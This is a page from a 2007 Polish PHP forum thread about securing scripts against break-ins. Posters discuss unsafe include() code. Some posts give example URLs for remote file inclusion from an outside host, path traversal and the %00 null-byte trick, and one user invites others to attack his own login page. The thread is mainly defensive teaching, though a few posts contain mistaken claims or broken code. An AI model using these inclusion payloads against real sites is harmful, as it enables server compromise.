Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

16 Stron V  « < 3 4 5 6 7 > »   
Reply to this topicStart new topic
> Bezpieczeństwo skryptów PHP, Jak zabezpieczyć się przed włamaniem
Sedziwoj
post 4.03.2007, 02:39:44
Post #81





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Ivellios przeczytaj to co już jest, tam znajdziesz odpowiedź.
Musisz wiedzieć o 'grubszych' dziurach jakie się zdarzają sam, bo tak każdy skrypt byś musiał komuś podsyłać aby sprawdzić.

Co do tego co podałeś, to jeśli pid jest polem typu liczbowego, to powinieneś sprawdzić czy $_GET['id'] jest liczbą, jak jest to dobrze jak nie to ignorujesz. A addslash w takim wypadku jest zbędny, bo jak jest liczbą to nie może mieć innych znaków.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
Ivellios
post 4.03.2007, 07:54:58
Post #82





Grupa: Zarejestrowani
Postów: 18
Pomógł: 0
Dołączył: 2.03.2007

Ostrzeżenie: (0%)
-----


Co do tego addslasha to zmieniłem go na mysql_escape_string. A jak będę miał wolną chwilkę to przejrzę cały temacik i pomyślę, co by jeszcze "ubezpiecznić" tongue.gif
Go to the top of the page
+Quote Post
upaupa
post 27.03.2007, 14:11:39
Post #83





Grupa: Zarejestrowani
Postów: 5
Pomógł: 0
Dołączył: 27.03.2007

Ostrzeżenie: (0%)
-----


Przeczytałem cały topic - filtrowanie, if fileexist - tylko po co to? Mam taki kod i nie ma bata żeby ktoś tu coś innego includował:

Kod
<a href="index.php?strona=glowna">GLOWNA</a><br>
<a href="index.php?strona=pobieralnia">POBIERALNIA</a><br>
<a href="index.php?strona=omnie">O MNIE</a><br>

<?php
$page=$_GET['strona'];
if(($strona == "") || ($strona == "glowna"))
{include("glowna/glowna.php");}
else
if($strona == "pobieralnia")
{include("pobieralnia/pobieralnia.php");}
else
if($strona == "omnie")
{include("omnie/omnie.php");}
else                             // to ma zabezpieczyc
{include("glowna/glowna.php");}   // nasza strone
?>


smile.gif
Go to the top of the page
+Quote Post
Sedziwoj
post 27.03.2007, 16:00:29
Post #84





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


upaupa widocznie nie czytałeś wszystkiego... bo już lepiej użyć switch niż taką konstrukcję, a dlaczego mimo wszystko tak nie jest najlepiej, masz napisane wcześniejszych postach.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
upaupa
post 27.03.2007, 17:09:08
Post #85





Grupa: Zarejestrowani
Postów: 5
Pomógł: 0
Dołączył: 27.03.2007

Ostrzeżenie: (0%)
-----


a co za różnica czy switch czy else if? - żadna oprócz no powiedzmy przejrzystości kodu. Post przeanalizowałem dokładnie i dalej sądzę że w tym kodzie co podałem nic innego nie da się includować
Go to the top of the page
+Quote Post
Sedziwoj
post 27.03.2007, 18:27:51
Post #86





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Przecież przejrzystość i łatwość rozbudowy kodu jest ważna.
A czy ja twierdziłem że można się włamać? Chodziło mi o sens budowy sprawdzania zamiast konstrukcji zamkniętych.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
dantekir
post 29.04.2007, 16:47:22
Post #87





Grupa: Zarejestrowani
Postów: 66
Pomógł: 0
Dołączył: 14.06.2004
Skąd: Świętochłowice

Ostrzeżenie: (0%)
-----


Witam,

Postanowiłem popracować troche nad bezpieczeństwem pewnej stronki... winksmiley.jpg

Przeczytałem ostatnio wiec że lepiej jest w adresie url nie podawać nazwy plikow w postaci np. jakastrona.pl/index.php bezpieczniej jest używać /index.html a to ze względu na fakt iż atakujący nie zna od razu odpowiedzi na pytanie: jaki język skryptowy został użyty do stworzenia strony?

A wiec...

Przypuśćmy że mam taki adres:
www.jakasstrona.pl/podstrona.php?zmienna1=wartosc1&zmienna2=wartosc2

Sladami poprawy bezpieczenstwa chcialbym ten adres zamienic np. na:
www.jakasstrona.pl/podstrona_wartosc1_wartosc2_.html

z tego adresu mogłbym sobie wyciagnac wartosci odpowiednich zmiennych.
Zauwazylem tez ze serwis allegro stosuje taki linkowanie do aukcji, a wiec jest to mozliwe.

Zastanawiam sie w jaki sposob dac do zrozumienia mojej stronie aby po wpisaniu tego "bezpiecznego" adresu nie wyswietlala mi sie strona bledu (404)...
Drugie pytanie dotyczy tego gdzie ustawic mozliwosc wykonywania skryptow php w plikach .html?

Za wskazowki bardzo dziękuję i pozdrawiam. smile.gif


--------------------
...albo jesteś zerem albo jedynką ;)
Go to the top of the page
+Quote Post
bełdzio
post 29.04.2007, 17:07:31
Post #88





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


ad1. google + mod_rewrite
ad2. w konfigu php ew. w .htaccess AddType application/x-httpd-php .html

a od siebie dodam: http://www.beldzio.com/ mam nadzieję, że da się tam znaleźć coś ciekawego ;-)


--------------------
Go to the top of the page
+Quote Post
.radex
post 4.05.2007, 17:38:46
Post #89





Grupa: Zarejestrowani
Postów: 1 657
Pomógł: 125
Dołączył: 29.04.2006

Ostrzeżenie: (0%)
-----


O jednym zapomnieliście - Z includowaniem plików przesadziliście całkowicie! PHP jest językiem działającym po stronie serwera więc jakie jest niebezpieczeństwo?! Można zincludować plik jako przetworzony już, ale napewno nie będzie mógł dostać się do serwera czy innych takich:P


--------------------
blog | Tadam — minutnik do Pomodoro na Maka :)
Go to the top of the page
+Quote Post
Kicok
post 4.05.2007, 17:49:27
Post #90





Grupa: Zarejestrowani
Postów: 1 033
Pomógł: 125
Dołączył: 17.09.2005
Skąd: Żywiec

Ostrzeżenie: (0%)
-----


1.
  1. <?php
  2. $id = $_GET['id'];
  3. include('/strony/' . $id . '.php');
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=../index.php strona się zapętli (będzie wczytywała samą siebie) a zużycie procesora skoczy do 100%. Może nawet uda się w ten sposób zwiesić system lub wywalić serwer www - nie wiem, nie znam się, w każdym bądź razie jest to skutek niepożądany.


2. Kompletna masakra
  1. <?php
  2. $id = $_GET['id'];
  3. include($id);
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=http://moj_..._skrypt_php.txt można nieźle namieszać na serwerze.



No chyba że chodzi ci o "ataki" typu umieszczenie na swoim serwerze:
  1. <?php
  2. include('http://jakas_stronka/config.php');
  3. ?>

to faktycznie w ten sposób zaatakować/podglądnąć kod źródłowy się nie da .


--------------------
"Sumienie mam czyste, bo nieużywane."
Go to the top of the page
+Quote Post
bełdzio
post 5.05.2007, 00:12:38
Post #91





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


@Kicok pkt1 == pkt2 smile.gif to że dodawane jest automatycznie rozszerzenie nie oznacza, że nie możesz się go pozbyć smile.gif

@radex_p nie chodzi o samo includowanie, ale o sposób jaki się to robi


--------------------
Go to the top of the page
+Quote Post
.radex
post 6.05.2007, 15:52:45
Post #92





Grupa: Zarejestrowani
Postów: 1 657
Pomógł: 125
Dołączył: 29.04.2006

Ostrzeżenie: (0%)
-----


Cytat(Kicok @ 4.05.2007, 16:49:27 ) *
1.
  1. <?php
  2. $id = $_GET['id'];
  3. include('/strony/' . $id . '.php');
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=../index.php strona się zapętli (będzie wczytywała samą siebie) a zużycie procesora skoczy do 100%. Może nawet uda się w ten sposób zwiesić system lub wywalić serwer www - nie wiem, nie znam się, w każdym bądź razie jest to skutek niepożądany.

Przy odpowiednich zabezpieczeniach serwer sam się uchroni:P I nie chodzi o same zabezpieczenia skryptu, ale niektóre serwery logują ip, i przy zbyt dużych "wejściach" serwer automatycznie blokuje skrypt/ip. No ale są bardziej wyrafinowane sposoby na spowodowanie ataku DoS (albo DDoS)


--------------------
blog | Tadam — minutnik do Pomodoro na Maka :)
Go to the top of the page
+Quote Post
peen
post 31.05.2007, 02:52:48
Post #93





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 31.05.2007

Ostrzeżenie: (0%)
-----


hmm... trochę tu śmietnik... zgubiłem się gdzieś na 3-4 stronie tongue.gif

ale właściwie chodzi mi tylko o jedno... test skryptu logującego... jego oczywiście nie podam ale jeśli byłby ktoś tak miły to proszę o jego przełamanie(na pewno się da ... tak myślę tongue.gif)

poza logowaniem proszę o znalezienie błędów... wszystkich możliwych jakby ktoś miał trochę czasu i chęci smile.gif

adres www.peen.yoyo.pl

PS czuje się jakbym popełniał samobójstwo tongue.gif guitar.gif (modli sie: oby nie złamał tego jakiś zwykły PHP coder tongue.gif)

----------------

jeśli pobieram "dzial" metodą get i wewnątrz skryptu wstawiam prefix "./" oraz sufix w postaci rozszerzenia...(którego raczej staram się nie zdradzić) to w jakim stopniu zabezpieczam skrypt przed niepowołanymi danymi/skryptami?(wiem że o tym było trochę ale się pogubiłem trochę bardziej :/)

co mi grozi jeśli nie ograniczam długości loginu i hasła w skrypcie do logowania? jeśli nie ograniczam też możliwości używania tagów html itp itd....
(konkretny przykład wpisanych danych... najlepiej od razu sprawdzony w skrypcie na stronie wyżej:P)

jak bezpieczne są zmienne przechowywane w $_SESSION? czy jeśli przechowuje w nich login i hasło(forma md5) to jest to w miarę dobre rozwiązanie czy lepiej na prostych stronach unikać przechowywania loginu i hasła w ogóle(wprowadzanie loginu i hasła tylko na potrzeby konkretnego skryptu np. dodającego wpis na stronkę)?

czy coś jeszcze chcę wiedzieć.... -myśli--myśli--myśli... chyba na razie nie tongue.gif
Go to the top of the page
+Quote Post
bełdzio
post 31.05.2007, 18:53:07
Post #94





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


boo ;-)


ad1. Null byte attack
ad2. nic jeśli później nie wyświetlasz danych przekazanych przez usera
ad3. średnio bezpieczne smile.gif zależy czy używasz tylko "gołej" tablicy $_SESSION i session_start czy też innych ficzerów ;-)


--------------------
Go to the top of the page
+Quote Post
peen
post 1.06.2007, 12:28:42
Post #95





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 31.05.2007

Ostrzeżenie: (0%)
-----


ad boo. hmm... spróbuj zrobić tak żeby nie wywaliło braku strony tongue.gif bo właściwie to co zrobiłeś to nie błąd tylko taka jest nazwa strony której szukałeś tongue.gif:P(nadaje sie do zabezpieczeń w microsofcie tongue.gif:P)

ad1. hmmm jakoś się poprawi... ekhm a właściwie jak wygląda ten typ ataku tongue.gif(to jest coś z ../../../ itd?tongue.gif)

hmm

ad3. czy $_SESSION jest tak bezpieczne jak komputer i połączenie między klientem a serwerem? jeśli użyje https ... to jest jeden z tych ficzerow? domyślam się że w tablicy nie powinienem goło trzymać nazw pól "login" "pass" tylko jakieś identyfikatory(może zaszyfrowane haha.gif) trudne do odgadnięcia a każda wartość szyfrowana? tongue.gif:P

PS hmm sorki za zabezpieczenia ogólne w dziale php tongue.gif

EDIT:

poprawiam poprawiam... usuwam podpuchę z pokazywaniem błędnego działu... robie listę dozwolonych działów... ale z tymi ficzerami to jeszcze będę musiał troche popracować bo w manualu PHP niewiele jest o sesjach...(albo nie umiem szukać) więc google się odwiedzi tongue.gif

Ten post edytował peen 1.06.2007, 17:51:35
Go to the top of the page
+Quote Post
bełdzio
post 1.06.2007, 14:14:53
Post #96





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


ad ad boo, to jest błąd i tyle, co za problem przejechac stringa np strip_tags?

ad ad 1/ %00 kończy stringa czyli katalog/plik.php%00.html = katalog/plik.php

ad ad3. ficzery = session.use_only_cookies + session_regenerate_id + session_save_path etc ;-)


--------------------
Go to the top of the page
+Quote Post
peen
post 1.06.2007, 18:47:30
Post #97





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 31.05.2007

Ostrzeżenie: (0%)
-----


ad ad ad 1 tongue.gif

wpisuje nazwę innego pliku znajdującego się w katalogu... + %00
teoretycznie wg tego co mówisz powinno mi się wyświetlić a wyświetlić a wyświetla się znany ci już błąd
"Strony "(ukryta nazwa pliku)\0" nie znaleziono."

hmm... jestem po prostu głupi i nie potrafię zrobić włamu na własną stronę haha.gif

ad ad ad boo poprawione... ale pewnie dalej gdzieś jest dziura tongue.gif

ad ad ad 3 ehh to głębszy temat... z czasem się dopracuje tongue.gif

PS wiesz po prostu przeczytam sobie troche na twojej stronce tongue.gif i na innych temu podobnych tongue.gif

Ten post edytował peen 1.06.2007, 19:33:36
Go to the top of the page
+Quote Post
bmL
post 5.09.2007, 21:06:27
Post #98





Grupa: Zarejestrowani
Postów: 301
Pomógł: 25
Dołączył: 15.07.2007
Skąd: Olsztyn

Ostrzeżenie: (0%)
-----


Czytam i czytam i już dobre pół godziny czytam i nie wydaje mi się żeby dało się coś złego zrobić z takim skryptem:
  1. <?php
  2. $plik = basename($_GET[plik])
  3.  
  4. if($plik != $_GET[plik])
  5. echo '1337?';
  6. else
  7. {
  8. if(file_exists($plik.php)
  9.  include($plik.'php')
  10. else
  11.  include("strona_glowna.php")
  12. }
  13. ?>

Nie można includować pliku z innego katalogu z innego serwera czy też z dysku twardego...
Wiem dobrze, że includowanie któregokolwiek pliku z tego katalogu w którym znajduje się index nic złego nie zdziała...
Więc, pod jakim względem jest ten skrypt niebezpieczny bo nie mogę się doczytać tongue.gif


--------------------
Tutaj miał być jakiś mądry tekst. Miał być... No ale jest głupi tekst.
Go to the top of the page
+Quote Post
Sedziwoj
post 5.09.2007, 22:41:49
Post #99





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


po pierwsze ten skrypt nie działa
po drugie zamiast file_exists() a is_file().
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.

A właśnie zdałem sobie sprawę, że u mnie takie coś już nie wystąpi <lol> Ech to OOP, jednak ma jakieś plusy winksmiley.jpg


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
bmL
post 6.09.2007, 15:01:46
Post #100





Grupa: Zarejestrowani
Postów: 301
Pomógł: 25
Dołączył: 15.07.2007
Skąd: Olsztyn

Ostrzeżenie: (0%)
-----


Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
po pierwsze ten skrypt nie działa

Faktycznie zgubiłem dwa ";" i nie domknąłem jednego nawiasu. Powinno być tak:
  1. <?php
  2. $plik = basename($_GET[plik]);
  3.  
  4. if($plik != $_GET[plik])
  5. echo '1337?';
  6. else
  7. {
  8. if(file_exists($plik.php))
  9.  include($plik.'php');
  10. else
  11.  include("strona_glowna.php");
  12. }
  13. ?>


Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
po drugie zamiast file_exists() a is_file().

Dzięki przyda się :]
Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.

Też dobre rozwiązanie :]

Więc czy da się zrobić jakiś włam na aplikację opartą o taką funkcję (basename czy też dozwolenie znaków "a-z" + może "_" i "-") ?
Chyba prawdopodobnie pewnie raczej zapewne na pewno nie sciana.gif


--------------------
Tutaj miał być jakiś mądry tekst. Miał być... No ale jest głupi tekst.
Go to the top of the page
+Quote Post

16 Stron V  « < 3 4 5 6 7 > » 
Reply to this topicStart new topic
3 Użytkowników czyta ten temat (3 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 27.04.2024 - 18:15